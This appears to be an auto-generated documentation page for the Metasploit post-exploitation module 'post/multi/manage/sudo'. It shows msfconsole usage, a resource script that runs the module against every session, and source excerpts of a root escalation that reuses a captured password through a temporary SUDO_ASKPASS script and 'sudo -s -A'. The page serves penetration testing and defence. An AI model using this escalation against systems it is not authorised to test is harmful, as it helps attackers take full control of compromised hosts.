Multiple Linux / Unix Post Sudo Upgrade Shell - Metasploit


This page contains detailed information about how to use the post/multi/manage/sudo metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Multiple Linux / Unix Post Sudo Upgrade Shell
Module: post/multi/manage/sudo
Source code: modules/post/multi/manage/sudo.rb
Disclosure date: -
Last modification time: 2020-07-24 10:28:07 +0000
Supported architecture(s): -
Supported platform(s): AIX, Linux, OSX, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module attempts to upgrade a shell account to UID 0 by reusing the given password and passing it to sudo. This technique relies on sudo versions from 2008 and later which support -A.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/manage/sudo

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/manage/sudo
msf post(sudo) > show options
    ... show and set options ...
msf post(sudo) > set SESSION session-id
msf post(sudo) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/manage/sudo")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/manage/sudo post exploitation module looks in the msfconsole:

msf6 > use post/multi/manage/sudo

msf6 post(multi/manage/sudo) > show info

       Name: Multiple Linux / Unix Post Sudo Upgrade Shell
     Module: post/multi/manage/sudo
   Platform: AIX, Linux, OSX, Solaris, Unix
       Arch: 
       Rank: Normal

Provided by:
  todb <[email protected]>
  Ryan Baxendale <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD                   no        The password to use when running sudo.
  SESSION                    yes       The session to run this module on.

Description:
  This module attempts to upgrade a shell account to UID 0 by reusing 
  the given password and passing it to sudo. This technique relies on 
  sudo versions from 2008 and later which support -A.

References:
  http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h

Module Options


This is a complete list of options available in the multi/manage/sudo post exploitation module:

msf6 post(multi/manage/sudo) > show options

Module options (post/multi/manage/sudo):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password to use when running sudo.
   SESSION                    yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/manage/sudo post exploitation module:

msf6 post(multi/manage/sudo) > show advanced

Module advanced options (post/multi/manage/sudo):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FileDropperDelay                   no        Delay in seconds before attempting cleanup
   VERBOSE           false            no        Enable detailed status messages
   WORKSPACE                          no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/manage/sudo module can do:

msf6 post(multi/manage/sudo) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/manage/sudo post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/manage/sudo) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Already root, so no need to upgrade permissions. Aborting.


Here is a relevant code snippet related to the "Already root, so no need to upgrade permissions. Aborting." error message:

42:	  # Run Method for when run command is issued
43:	  def run
44:	    print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
45:	    sudo_bin = cmd_exec("which sudo")
46:	    if is_root?
47:	      print_status "Already root, so no need to upgrade permissions. Aborting."
48:	      return
49:	    end
50:	    if sudo_bin.empty?
51:	      print_error "No sudo binary available. Aborting."
52:	      return

No sudo binary available. Aborting.


Here is a relevant code snippet related to the "No sudo binary available. Aborting." error message:

46:	    if is_root?
47:	      print_status "Already root, so no need to upgrade permissions. Aborting."
48:	      return
49:	    end
50:	    if sudo_bin.empty?
51:	      print_error "No sudo binary available. Aborting."
52:	      return
53:	    end
54:	    get_root()
55:	  end
56:	

No password available, trying a passwordless sudo.


Here is a relevant code snippet related to the "No password available, trying a passwordless sudo." error message:

60:	    else
61:	      password = session.exploit_datastore['PASSWORD']
62:	    end
63:	
64:	    if password.to_s.empty?
65:	      print_status "No password available, trying a passwordless sudo."
66:	    else
67:	      print_status "Sudoing with password `#{password}'."
68:	    end
69:	    askpass_sudo(password)
70:	    unless is_root?

SUDO: Didn't work out, still a mere user.


Here is a relevant code snippet related to the "SUDO: Didn't work out, still a mere user." error message:

66:	    else
67:	      print_status "Sudoing with password `#{password}'."
68:	    end
69:	    askpass_sudo(password)
70:	    unless is_root?
71:	      print_error "SUDO: Didn't work out, still a mere user."
72:	    else
73:	      print_good "SUDO: Root shell secured."
74:	      report_note(
75:	        :host => session,
76:	        :type => "host.escalation",

SUDO: Passwordless sudo timed out. Might be blocking.


Here is a relevant code snippet related to the "SUDO: Passwordless sudo timed out. Might be blocking." error message:

85:	      begin
86:	        ::Timeout.timeout(30) do
87:	          cmd_exec("sudo -s")
88:	        end
89:	      rescue ::Timeout::Error
90:	        print_error "SUDO: Passwordless sudo timed out. Might be blocking."
91:	      rescue
92:	        print_error "SUDO: Passwordless sudo failed. Check the session log."
93:	      end
94:	    else
95:	      askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)

SUDO: Passwordless sudo failed. Check the session log.


Here is a relevant code snippet related to the "SUDO: Passwordless sudo failed. Check the session log." error message:

87:	          cmd_exec("sudo -s")
88:	        end
89:	      rescue ::Timeout::Error
90:	        print_error "SUDO: Passwordless sudo timed out. Might be blocking."
91:	      rescue
92:	        print_error "SUDO: Passwordless sudo failed. Check the session log."
93:	      end
94:	    else
95:	      askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
96:	      begin
97:	        # Telnet can be pretty pokey, allow about 20 seconds per cmd_exec

SUDO: Sudo with a password timed out.


Here is a relevant code snippet related to the "SUDO: Sudo with a password timed out." error message:

111:	          cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
112:	          vprint_status "Executing sudo -s -A"
113:	          cmd_exec("sudo -s -A")
114:	        end
115:	      rescue ::Timeout::Error
116:	        print_error "SUDO: Sudo with a password timed out."
117:	      rescue
118:	        print_error "SUDO: Sudo with a password failed. Check the session log."
119:	      end
120:	    end
121:	  end

SUDO: Sudo with a password failed. Check the session log.


Here is a relevant code snippet related to the "SUDO: Sudo with a password failed. Check the session log." error message:

112:	          vprint_status "Executing sudo -s -A"
113:	          cmd_exec("sudo -s -A")
114:	        end
115:	      rescue ::Timeout::Error
116:	        print_error "SUDO: Sudo with a password timed out."
117:	      rescue
118:	        print_error "SUDO: Sudo with a password failed. Check the session log."
119:	      end
120:	    end
121:	  end
122:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • todb <todb[at]metasploit.com>
  • Ryan Baxendale <rbaxendale[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.